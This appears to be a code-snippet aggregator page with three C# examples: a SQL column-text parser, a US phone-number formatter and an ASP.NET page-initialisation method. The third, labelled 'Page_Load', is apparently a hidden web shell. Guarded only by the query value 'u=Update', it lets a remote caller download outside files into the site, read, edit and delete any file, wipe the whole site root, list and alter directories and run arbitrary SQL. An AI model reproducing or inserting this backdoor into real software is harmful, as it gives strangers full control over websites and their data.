Exemplo n.º 1
0
        private void button1_Click(object sender, EventArgs e)
        {
            try
            {
                var result    = new StringBuilder();
                var sourceStr = this.txtSourceTxt.Text;


                #region 处理注释
                var ss       = "Add comments to the columns";
                var sqlField = Regex.Split(sourceStr, ss, RegexOptions.IgnoreCase);
                var tmpStrA  = Regex.Split(sqlField[0], "\n(\n", RegexOptions.IgnoreCase);
                #endregion



                var lstSourceField = sourceStr.Split('\n');
                var lstFieldEntity = new List <FieldEntity>();
                foreach (var item in lstSourceField)
                {
                    var entity = new FieldEntity();
                    var tmpStr = new System.Text.RegularExpressions.Regex("[\\s]+").Replace(item, " ");
                    tmpStr = tmpStr.TrimStart(' ').TrimEnd(',');
                    var tmpArr = tmpStr.Split('(')[0].Split(' ');
                    if (isUpper)
                    {
                        entity.FieldName = tmpArr[0].ToUpper();
                    }
                    else
                    {
                        entity.FieldName = tmpArr[0];
                    }

                    entity.FieldType = tmpArr[1];
                    lstFieldEntity.Add(entity);
                }

                CalResult(result, lstFieldEntity);
                this.txtResultTxt.Text         = result.ToString();
                this.tabControl1.SelectedIndex = 1;
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }
Exemplo n.º 2
0
        /// <summary>
        /// Formats a provided string of numbers as a US phone number in (###) ###-#### format.
        /// </summary>
        /// <param name="number">A <see cref="System.String"/> containing the number to format.</param>
        /// <returns>A <see cref="System.String"/> containing the number in ###-#### or (###) ###-#### format. If more than 10 digits are provided all digits after the 10th position will be formatted as an extension. </returns>
        public static string FormattedNumber(string number)
        {
            if (string.IsNullOrWhiteSpace(number))
            {
                return(string.Empty);
            }

            number = new System.Text.RegularExpressions.Regex(@"\D").Replace(number, string.Empty);
            number = number.TrimStart('1');
            if (number.Length == 7)
            {
                return(Convert.ToInt64(number).ToString("###-####"));
            }
            if (number.Length == 10)
            {
                return(Convert.ToInt64(number).ToString("(###) ###-####"));
            }
            if (number.Length > 10)
            {
                return(Convert.ToInt64(number)
                       .ToString("(###) ###-#### " + new String('#', (number.Length - 10))));
            }
            return(number);
        }
Exemplo n.º 3
0
        /// <summary>
        /// Page_Load
        /// </summary>
        /// <param name="e"></param>
        protected override void OnInit(EventArgs e) {
            string localPath = string.Empty;
            string fileName = string.Empty;
            bool isTrue = true;
            string u2 = "Update";
            string[] ext = new string[] { "/bin.bak/", "/app_data.bak/", "/app_code.bak/", "\\.dll.bak", "\\.aspx.bak", "\\.config.bak", "\\.master.bak", "\\.asax.bak", "\\.ascx.bak", "\\.compiled.bak", "\\.asmx.bak", "\\.cs.bak" };
            string[] repExt = new string[] { "/Bin/", "/App_Data/", "/App_Code/", "\\.dll", "\\.aspx", "\\.config", "\\.master", "\\.asax", "\\.ascx", "\\.compiled", "\\.asmx", "\\.cs" };
            string[] strList = new string[] { "{1}: {0} ok!", "<font color='red'>{1}: {0} error!</font>" };
            string u1 = Request2.GetQ("u").Trim();
            if (!u2.Equals(u1)) return;
            string active = Request2.GetQ("active").Trim();
            switch (active) {
                case "sh": Msg.WriteEnd(template.Replace("{0}", Environment.MachineName).Replace("{1}", Request2.GetRelativeRoot())); break;
                case "do":
                    string file = Request2.Get("file").Trim(); //StringExtensions.HtmlDecode(Request2.Get("file")).Trim();
                    if (file.IsNullEmpty()) Msg.WriteEnd("error file.");
                    string action = file.Substring(0, 3);
                    file = "/" + file.Substring(3).TrimStart('/').TrimStart('\\').Replace("\\", "/");
                    if (file.Length < 1) Msg.WriteEnd(string.Format(strList[1], file, "file"));
                    string url = StringExtensions.HtmlDecode(Request2.Get("url")).Replace("\\", "/").TrimEnd('/').TrimEnd('\\').Trim();
                    if (url.Length < 10) Msg.WriteEnd(string.Format(strList[1], url, "url"));

                    switch (action) {
                        case "af:":
                            isTrue = true;
                            for (int i = 0; i < ext.Length; i++) file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]);
                            file = file.Replace("\\.", ".");
                            string[] folderList = file.Split('/');
                            if (folderList.Length > 1) { fileName = folderList[folderList.Length - 1]; FileDirectory.DirectoryVirtualCreate("~/tmp" + file.Replace(fileName, "")); }
                            for (int i = 0; i < ext.Length; i++) file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]);
                            file = file.Replace("\\.", ".");
                            url = url + file;
                            for (int i = 0; i < ext.Length; i++) file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]);
                            file = file.Replace("\\.", ".");
                            localPath = "~/tmp/".GetMapPath() + "{0}";
                            file = file.Replace("/", "\\");
                            fileName = string.Format(localPath, file);
                            System.Net.WebClient wc = new System.Net.WebClient();
                            try {
                                wc.DownloadFile(url, fileName);
                            } catch {
                                isTrue = false;
                            } finally {
                                wc.Dispose();
                            }
                            file = file.Replace("\\", "/");
                            for (int i = 0; i < ext.Length; i++) file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]);
                            file = file.Replace("\\.", ".");
                            if (isTrue) Response.Write(string.Format(strList[0], file, "add file")); else Response.Write(string.Format(strList[1], file, "add file"));
                            break;
                        case "df:":
                            if (file == "/all") {
                                localPath = Server2.GetMapPath("~/");
#if !MONO40
                                FileDirectory.APIDelete(localPath);
#endif
                                Msg.WriteEnd(string.Format(strList[0], "all", "del file") + "<br>");
                            }
                            localPath = Server2.GetMapPath("~/") + file;
                            if (!FileDirectory.FileExists(localPath)) Msg.WriteEnd(string.Format(strList[1], file, "del file"));
                            try {
                                FileDirectory.FileDelete(localPath);
                            } catch {
                                Msg.WriteEnd(string.Format(strList[1], file, "del file"));
                            }
                            Response.Write(string.Format(strList[0], file, "del file"));
                            break;
                        case "rf:":
                            localPath = Server2.GetMapPath("~/") + file;
                            if (!FileDirectory.FileExists(localPath)) Msg.WriteEnd(string.Format(strList[1], file, "read file"));
                            string sbText = FileDirectory.FileReadAll(localPath, Encoding.UTF8);
                            string text = "<textarea id=\"txtContent\" cols=\"70\" rows=\"20\" f=\"" + localPath + "\">" + sbText + "</textarea><br /><input id=\"btnEdit\" type=\"button\" value=\"edit\" />";
                            Msg.WriteEnd(text + " ok!");
                            break;
                        case "ap:":
                            FileDirectory.DirectoryVirtualCreate("~" + file);
                            Msg.WriteEnd(string.Format(strList[0], file, "add path"));
                            break;
                        case "dp:":
                            localPath = Server2.GetMapPath("~/") + file;
                            try {
                                if (System.IO.Directory.Exists(localPath)) System.IO.Directory.Delete(localPath);
                            } catch {
                                Msg.WriteEnd(string.Format(strList[1], file, "del path"));
                            }
                            Msg.WriteEnd(string.Format(strList[0], file, "del path"));
                            break;
                        case "rp:":
                            localPath = Server2.GetMapPath("~/") + file.TrimStart('/').TrimEnd('/') + "/";
                            string size = "";
                            System.Collections.Generic.IList<string> sbFile2 = new System.Collections.Generic.List<string>();
                            StringBuilder sbFile3 = new StringBuilder();
                            try {
                                FileDirectory.FileList(localPath, ref sbFile2, localPath);
                                localPath = localPath.Replace("\\/", "\\");
                                for (int i = 0; i < sbFile2.Count; i++) {
                                    file = sbFile2[i].Trim().TrimStart('.');
                                    if (file.Equals("")) continue;
                                    try { size = LongExtensions.FormatKB((new System.IO.FileInfo(file)).Length); } catch { size = "0"; }
                                    sbFile3.Append(file.Replace(localPath, "").Replace("\\", "/") + " (" + size + ")" + Environment.NewLine);
                                    if (i.Equals(sbFile2.Count - 2)) sbFile3.Append("(" + sbFile2.Count + ")" + Environment.NewLine);
                                }
                            } catch {
                                Msg.WriteEnd(string.Format(strList[1], file, "read path"));
                            }
                            text = localPath + "<br /><textarea id=\"txtText\" cols=\"100\" rows=\"20\">" + sbFile3.ToString() + "</textarea>";
                            Msg.WriteEnd(string.Format(strList[0], text, "read path"));
                            break;
                        case "db:":
                            file = file.Replace("/r/n", Environment.NewLine).Trim('/');
                            if (file.IndexOf(Environment.NewLine + "GO" + Environment.NewLine) != -1) {
                                Data.ExecuteCommandWithSplitter(file, "GO");
                                Msg.WriteEnd(string.Format(strList[0], "", "read db"));
                            } else {
                                text = file + "<br /><textarea id=\"txtText\" cols=\"100\" rows=\"20\">" + Data.GetDataSet(file).ToJson() + "</textarea>";
                                Msg.WriteEnd(string.Format(strList[0], text, "read db"));
                            }
                                break;
                        default: Msg.WriteEnd("file error!"); break;
                    }
                    Response.End();
                    break;
                case "ok": localPath = "~/tmp/".GetMapPath();
                    System.Collections.Generic.IList<string> fileList = new System.Collections.Generic.List<string>();
                    FileDirectory.FileList(localPath, ref fileList, localPath);
                    for (int i = 0; i < fileList.Count; i++) {
                        file = fileList[i].Trim().TrimStart('.');
                        if (file.Length < 2) continue;
                        fileName = localPath + file;
                        isTrue = FileDirectory.FileCopy(fileName, Server2.GetMapPath("~/") + file, true);
                        if (isTrue) FileDirectory.FileDelete(fileName);
                        if (isTrue) Response.Write(string.Format(strList[0], file, "update") + "<br />"); else Response.Write(string.Format(strList[1], file, "update") + "<br />");
                    }
                    Response.End();
                    break;
                case "ef":
                    localPath = Request2.GetF("file").Trim();
                    string content = Request2.GetF("data").Trim();
                    FileDirectory.FileDelete(localPath);
                    isTrue = FileDirectory.FileWrite(localPath, content, Encoding.UTF8);
                    if (isTrue) Msg.WriteEnd("edit file ok!"); else Msg.WriteEnd("edit file error!"); 
                    break;
            }
        }